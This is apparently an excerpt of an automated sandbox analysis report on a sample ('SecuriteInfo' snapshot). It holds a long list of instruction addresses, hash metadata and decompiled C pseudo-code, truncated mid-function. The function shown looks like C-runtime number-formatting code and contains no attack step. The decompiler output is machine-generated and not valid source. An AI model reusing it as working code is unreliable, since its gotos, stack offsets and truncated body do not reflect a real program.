0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00b95923
0x00b95929
0x00b9592f
0x00b959ac
0x00b959b2
0x00b959bb
0x00b959c1
0x00b959c7
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00b959fc
0x00b959ff
0x00b95a02
0x00b95a07
0x00b95a0c
0x00b95a1e
0x00b95a21
0x00b95a33
0x00b95a36
0x00b95a38
0x00b95a3c
0x00b95a3c
0x00b95a23
0x00b95a23
0x00b95a27
0x00b95a27
0x00b95a0e
0x00b95a0e
0x00b95a12
0x00b95a12
0x00b95a0c
0x00b95a4c
0x00b95a55
0x00b95a58
0x00b95a6e
0x00b95a73
0x00b95a73
0x00b95a89
0x00b95a8e
0x00b95a94
0x00b95a97
0x00b95a9c
0x00b95a9f
0x00b95ab5
0x00b95aba
0x00b95aba
0x00b95a9f
0x00b95abd
0x00b95ac1
0x00b95b95
0x00b95ba8
0x00b95bad
0x00000000
0x00b95ac7
0x00b95ac7
0x00b95ac7
0x00b95acb
0x00000000
0x00000000
0x00b95ad1
0x00b95ad1
0x00b95ade
0x00b95ae7
0x00b95aed
0x00b95aed
0x00b95afc
0x00b95b02
0x00b95b04
0x00000000
0x00000000
0x00b95b0a
0x00b95b13
0x00b95b32
0x00b95b37
0x00b95b3a
0x00b95b49
0x00b95b4f
0x00b95b56
0x00b95b61
0x00b95b61
0x00000000
0x00b95b61
0x00b95b58
0x00b95b58
0x00b95b5f
0x00b95b6d
0x00b95b86
0x00b95b8b
0x00000000
0x00b95b8b
0x00000000
0x00b95b5f
0x00b95b93
0x00b95bb0
0x00b95bb0
0x00b95bb7
0x00b95bbc
0x00b95bbf
0x00b95bd5
0x00b95bda
0x00b95bda
0x00b95bbf
0x00b95bb7
0x00b95bdd
0x00b95bdd
0x00b95be1
0x00b95be9
0x00b95bee
0x00b95bf1
0x00b95bf1
0x00b95bf8
0x00b95bf8
0x00b94ccf
0x00b94cd5
0x00b94ce2
0x00b94ce7
0x00000000
0x00b94cfa
0x00b94d04
0x00b94d2b
0x00b94d12
0x00b94d23
0x00b94d23
0x00b94d04
0x00b94d35
0x00b94d3b
0x00b94d47
0x00b94d4a
0x00b94d58
0x00b94d5b
0x00b94d68
0x00b94e0d
0x00b94e13
0x00b94e19
0x00b94e20
0x00000000
0x00000000
0x00b94e26
0x00b94e2c
0x00000000
0x00b94e33
0x00b94e33
0x00b94e4b
0x00b94e50
0x00b94e53
0x00b94e55
0x00b94f0f
0x00b94f22
0x00b94f27
0x00000000
0x00b94e5b
0x00b94e6e
0x00b94e73
0x00b94e79
0x00b94e7b
0x00b94e84
0x00b94e84
0x00b94e87
0x00b94e93
0x00b94e97
0x00b94e9d
0x00b94e9f
0x00b94ea4
0x00b94ea6
0x00b94eab
0x00b94eb0
0x00b94eb2
0x00b94eb7
0x00b94eba
0x00b94ebd
0x00b94ebf
0x00b94ebf
0x00b94ebd
0x00b94ec0
0x00b94ec0
0x00b94ec7
0x00000000
0x00b94ec9
0x00b94ece
0x00b94eea
0x00b94ef2
0x00b94eff
0x00b94f04
0x00000000
0x00b94f04
0x00b94ec7
0x00000000
0x00b94f2f
0x00b94f2f
0x00b94f36
0x00b94f39
0x00b94f3c
0x00b94f3f
0x00b94f42
0x00b94f45
0x00b94f48
0x00b94f4f
0x00b94f56
0x00000000
0x00000000
0x00b94f62
0x00b94f62
0x00b94f69
0x00b94f75
0x00b94f78
0x00b94f7e
0x00b94f85
0x00000000
0x00000000
0x00b94f87
0x00b94f87
0x00b94f8d
0x00b94f8d
0x00b94f94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b94fd7
0x00b94fd7
0x00b94fde
0x00b94fe1
0x00b9500b
0x00b9500e
0x00b9500e
0x00b95011
0x00b95018
0x00b95018
0x00b9501c
0x00b94fe3
0x00b94fe3
0x00b94fef
0x00b94ff2
0x00b94ff6
0x00b94ff8
0x00b94ffb
0x00b94ffb
0x00b94ffe
0x00b95004
0x00b95006
0x00b95006
0x00b95009
0x00000000
0x00000000
0x00b95024
0x00b95024
0x00000000
0x00000000
0x00b95030
0x00b95030
0x00b95037
0x00b9503a
0x00b9505a
0x00b9505d
0x00b9505d
0x00b95067
0x00b95067
0x00b9506b
0x00b9503c
0x00b9503c
0x00b95048
0x00b9504b
0x00b9504f
0x00b95051
0x00b95051
0x00b95058
0x00000000
0x00000000
0x00b95073
0x00b95073
0x00b9507a
0x00b95086
0x00b95089
0x00b9508f
0x00b95096
0x00b951a9
0x00000000
0x00b951a9
0x00b9509c
0x00b9509c
0x00b950a2
0x00b950a2
0x00b950a9
0x00000000
0x00b950df
0x00b950df
0x00b950e2
0x00b950e5
0x00b950e8
0x00b95110
0x00b95110
0x00b95113
0x00b95116
0x00b95119
0x00b9513e
0x00b9513e
0x00b95141
0x00b95144
0x00b95147
0x00b95180
0x00b95191
0x00000000
0x00b95191
0x00b95149
0x00b95149
0x00b9514c
0x00b9514f
0x00b95152
0x00000000
0x00000000
0x00b95154
0x00b95154
0x00b95157
0x00b9515a
0x00b9515d
0x00000000
0x00000000
0x00b9515f
0x00b9515f
0x00b95162
0x00b95165
0x00b95168
0x00000000
0x00000000
0x00b9516a
0x00b9516a
0x00b9516d
0x00b95170
0x00b95173
0x00000000
0x00000000
0x00b95175
0x00b95175
0x00b95178
0x00b9517b
0x00b9517e
0x00b95182
0x00000000
0x00b95182
0x00000000
0x00b9517e
0x00b9511b
0x00b9511b
0x00b9511e
0x00b95122
0x00b95125
0x00000000
0x00b95127
0x00b9512a
0x00b9512d
0x00b95130
0x00b95133
0x00b95139
0x00000000
0x00b95139
0x00b95125
0x00b950ea
0x00b950ea
0x00b950ed
0x00b950f1
0x00b950f4
0x00000000
0x00b950f6
0x00b950f9
0x00b950fc
0x00b950ff
0x00b95102
0x00b95108
0x00000000
0x00b95108
0x00000000
0x00b95193
0x00b95196
0x00b95199
0x00000000
0x00000000
0x00b950b0
0x00b950b0
0x00b950b3
0x00b950b6
0x00b950b9
0x00b950d1
0x00b950d4
0x00b950d4
0x00b950d7
0x00b950bb
0x00b950be
0x00b950c1
0x00b950c7
0x00b950cc
0x00b950cc
0x00000000
0x00000000
0x00b9519e
0x00b9519e
0x00b951a1
0x00b951a1
0x00b951a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b951ae
0x00b951ae
0x00b951b5
0x00b951c1
0x00b951c4
0x00b951ca
0x00b951d1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b951d7
0x00b951dd
0x00b951dd
0x00b951e4
0x00000000
0x00b9553e
0x00b9553e
0x00b95545
0x00b9554c
0x00b9554c
0x00b9554f
0x00000000
0x00000000
0x00b951eb
0x00b951ee
0x00b951ee
0x00b951f4
0x00b951f6
0x00b951f9
0x00b951f9
0x00b951fe
0x00b951fe
0x00000000
0x00000000
0x00b9532b
0x00b9532e
0x00b9532e
0x00b95333
0x00b95335
0x00b95338
0x00b95338
0x00b9533e
0x00b9533e
0x00000000
0x00000000
0x00b9570b
0x00b9570b
0x00000000
0x00000000
0x00b95295
0x00b95295
0x00b952a1
0x00b952a7
0x00b952ae
0x00b952bc
0x00b952bc
0x00b952c2
0x00b952c5
0x00b952d1
0x00b95326
0x00000000
0x00b95326
0x00b952b0
0x00b952b0
0x00b952b6
0x00b952ba
0x00b952d6
0x00b952d9
0x00b952d9
0x00b952df
0x00b95307
0x00b9530e
0x00b95314
0x00b95317
0x00b9531a
0x00b95320
0x00b95323
0x00b952e1
0x00b952e1
0x00b952e7
0x00b952ea
0x00b952ed
0x00b952f3
0x00b952f6
0x00b952f9
0x00b952fb
0x00b952fe
0x00b952fe
0x00000000
0x00b952df
0x00000000
0x00000000
0x00b95555
0x00b95558
0x00b9555b
0x00b9555e
0x00b95564
0x00b95567
0x00b9556e
0x00b95572
0x00b9557d
0x00b9557d
0x00b95581
0x00b95598
0x00b95598
0x00b9559f
0x00b955a1
0x00b955a1
0x00b955a8
0x00b955a8
0x00b955af
0x00b955c0
0x00b955cf
0x00b955d2
0x00b955d6
0x00b955ec
0x00b955d8
0x00b955d8
0x00b955db
0x00b955e1
0x00b955e7
0x00b955e7
0x00b955d6
0x00b955f6
0x00b955f9
0x00b955fc
0x00b955ff
0x00b95602
0x00b95605
0x00b9560b
0x00b95611
0x00b95619
0x00b9561a
0x00b9561d
0x00b9561e
0x00b95621
0x00b95622
0x00b95629
0x00b9562a
0x00b9562d
0x00b9562e
0x00b95631
0x00b95632
0x00b95638
0x00b95639
0x00b95647
0x00b95649
0x00b9564f
0x00b9564f
0x00b95655
0x00b95657
0x00b9565b
0x00b9565d
0x00b95665
0x00b95666
0x00b95669
0x00b9566a
0x00b95678
0x00b9567a
0x00b9567a
0x00b9565b
0x00b9567d
0x00b95684
0x00b95687
0x00b9568c
0x00b9568c
0x00b95692
0x00b95694
0x00b9569c
0x00b9569d
0x00b956a0
0x00b956a1
0x00b956b0
0x00b956b2
0x00b956b2
0x00b95692
0x00b956b5
0x00b956b8
0x00b956bb
0x00b956be
0x00b956c3
0x00b956c9
0x00b956cc
0x00b956cf
0x00b956cf
0x00b956d2
0x00b956d2
0x00b956d5
0x00b956e1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b959f2
0x00b95583
0x00b95583
0x00b9558a
0x00b9558d
0x00000000
0x00000000
0x00b9558f
0x00b9558f
0x00000000
0x00b9558f
0x00b95574
0x00b95574
0x00000000
0x00000000
0x00b95201
0x00b95204
0x00b95204
0x00b9520a
0x00b95265
0x00b9526d
0x00b95274
0x00b9527a
0x00b95280
0x00b9520c
0x00b9520c
0x00b95216
0x00b9521a
0x00b95222
0x00b95229
0x00b95236
0x00b9523d
0x00b95249
0x00b9524f
0x00b95256
0x00b95258
0x00b95258
0x00b9525f
0x00b95287
0x00b9528d
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b956e9
0x00b956ec
0x00b956ef
0x00b956f2
0x00b9576a
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b9582a
0x00b9582f
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580f
0x00b95814
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e9
0x00b957ee
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957cd
0x00b957d2
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b957a0
0x00b957a5
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95778
0x00b9577d
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95447
0x00b95447
0x00b95453
0x00b95459
0x00b9545e
0x00b95460
0x00b9550a
0x00b9550d
0x00b9550d
0x00b95510
0x00b95524
0x00b9552a
0x00b95530
0x00b95512
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b95466
0x00b95466
0x00b95466
0x00b95468
0x00b95476
0x00b9546a
0x00b9546a
0x00b9546a
0x00b95480
0x00b95486
0x00b9548c
0x00b95493
0x00b95495
0x00b9549a
0x00b9549c
0x00b954a1
0x00b954a6
0x00b954a8
0x00b954ad
0x00b954b0
0x00b954b3
0x00b954b5
0x00b954b5
0x00b954b3
0x00b954b6
0x00b954bd
0x00b95505
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00000000
0x00b954fa
0x00000000
0x00000000
0x00000000
0x00b95704
0x00b95704
0x00000000
0x00000000
0x00b95341
0x00b95341
0x00b95345
0x00b95353
0x00b95356
0x00b95347
0x00b95347
0x00b95347
0x00b9535c
0x00b95362
0x00b95368
0x00b95374
0x00b9537a
0x00b9537a
0x00b95380
0x00b953e7
0x00b953e7
0x00b953eb
0x00b953ed
0x00b953f3
0x00b953f3
0x00b953f6
0x00b953f9
0x00b953ff
0x00b953ff
0x00b953ff
0x00b9540b
0x00b9540e
0x00b95414
0x00b95416
0x00000000
0x00000000
0x00b95418
0x00b95418
0x00b9541e
0x00b95421
0x00b95423
0x00000000
0x00000000
0x00b95425
0x00b9542b
0x00b9542e
0x00b9542e
0x00b95436
0x00b95436
0x00b9543c
0x00b9543c
0x00b9543f
0x00000000
0x00b95382
0x00b95382
0x00b95382
0x00b95386
0x00b95388
0x00b9538d
0x00b9538d
0x00b95390
0x00b95397
0x00b9539a
0x00b953a0
0x00b953a0
0x00b953a0
0x00b953ac
0x00b953af
0x00b953b5
0x00b953b7
0x00000000
0x00000000
0x00b953b9
0x00b953b9
0x00b953bf
0x00b953c2
0x00b953c4
0x00000000
0x00000000
0x00b953c6
0x00b953cc
0x00b953cf
0x00b953cf
0x00b953d7
0x00b953dd
0x00b953e0
0x00b953e2
0x00b95442
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00000000
0x00b956fb
0x00b956fb
0x00b9576a
0x00b9576a
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b9582a
0x00b9582f
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580f
0x00b95814
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e9
0x00b957ee
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957cd
0x00b957d2
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b957a0
0x00b957a5
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95778
0x00b9577d
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00b95717
0x00b95717
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00b9576a
0x00b9576a
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b9582a
0x00b9582f
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580f
0x00b95814
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e9
0x00b957ee
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957cd
0x00b957d2
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b957a0
0x00b957a5
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95778
0x00b9577d
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00000000
0x00b94fb1
0x00b94fb4
0x00b94fb7
0x00000000
0x00000000
0x00b94fbc
0x00b94fbf
0x00b94fc4
0x00000000
0x00000000
0x00b94fa6
0x00b94fa6
0x00b94fa9
0x00b94fac
0x00000000
0x00000000
0x00b94f9b
0x00b94f9e
0x00b94fa1
0x00000000
0x00000000
0x00b94fc9
0x00b94fc9
0x00b94fcc
0x00b94fcc
0x00b94fcf
0x00000000
0x00000000
0x00b94fd2
0x00000000
0x00000000
0x00b94d6e
0x00b94d70
0x00b94d7e
0x00b94d72
0x00b94d72
0x00b94d72
0x00b94d88
0x00b94d8e
0x00b94d9b
0x00b94d9d
0x00b94da2
0x00b94da4
0x00b94da9
0x00b94dae
0x00b94db0
0x00b94db5
0x00b94dbb
0x00b94dbd
0x00b94dbd
0x00b94dbb
0x00b94dbe
0x00b94dc5
0x00000000
0x00b94dc7
0x00b94dcc
0x00b94de8
0x00b94df0
0x00b94dfd
0x00b94e02
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b94dc5
0x00b94d68
0x00b95bfd
0x00b95bfd
0x00b95c04
0x00b95c1b
0x00b95c1b
0x00b95c25
0x00b95c25
0x00b95c2b
0x00b95c31
0x00b95c38
0x00b95c3a
0x00b95c3f
0x00b95c41
0x00b95c46
0x00b95c4b
0x00b95c4d
0x00b95c52
0x00b95c55
0x00b95c58
0x00b95c5a
0x00b95c5a
0x00b95c58
0x00b95c5b
0x00b95c62
0x00b95cad
0x00b95cb6
0x00b95cbb
0x00b95c64
0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b95c06
0x00b95c06
0x00b95c0d
0x00000000
0x00000000
0x00b95c0f
0x00b95c0f
0x00000000
0x00b95c0f
0x00b959f2
0x00b959c9
0x00b959c9
0x00b959cd
0x00b959da
0x00b959e0
0x00b959e6
0x00b959ec
0x00b959ec
0x00b959ef
0x00000000
0x00b959ef
0x00b959cf
0x00b959d5
0x00b959d8
0x00000000
0x00000000
0x00000000
0x00b959d8
0x00b95931
0x00b95934
0x00b9593e
0x00b9594d
0x00b95956
0x00b9596c
0x00b95972
0x00b95978
0x00b9597f
0x00b95987
0x00b95987
0x00b9598d
0x00b9598d
0x00b9599c
0x00b959a4
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00000000
0x00b95921
0x00b95913
0x00b95853
0x00b95853
0x00b9585a
0x00000000
0x00000000
0x00000000
0x00b95888
0x00b9588e
0x00b9589a
0x00000000
0x00b9589a
0x00b9576a

APIs

_get_int64_arg.LIBCMTD ref: 00B95778
__aullrem.LIBCMT ref: 00B95945
__aulldiv.LIBCMT ref: 00B95967

Strings

9, xrefs: 00B95978

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fd4587fb2f8e775bb025d6734400d9a3ed1e761dc3a0f379bdc890fdbdae4637
Instruction ID: 4fcf449023765c23f5b774f01be30ff4b939a662f452858b222fe15cdff68418
Opcode Fuzzy Hash: fd4587fb2f8e775bb025d6734400d9a3ed1e761dc3a0f379bdc890fdbdae4637
Instruction Fuzzy Hash: 7F41ACB1D15A29DFEF25CB58C889BAEB7B5FB84300F2485E8D059A7240D7349A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B96A6D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00B96A6D(signed int __edx) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t619 = __edx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00B93D50(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00B93D50(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00B93D50(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00B93D50(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00B93D70(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00B93D70(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00B855B0(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00B85630( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L00B7EB20( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0xb77b78) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0xb77b78) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M00B97044))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E00B97150( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
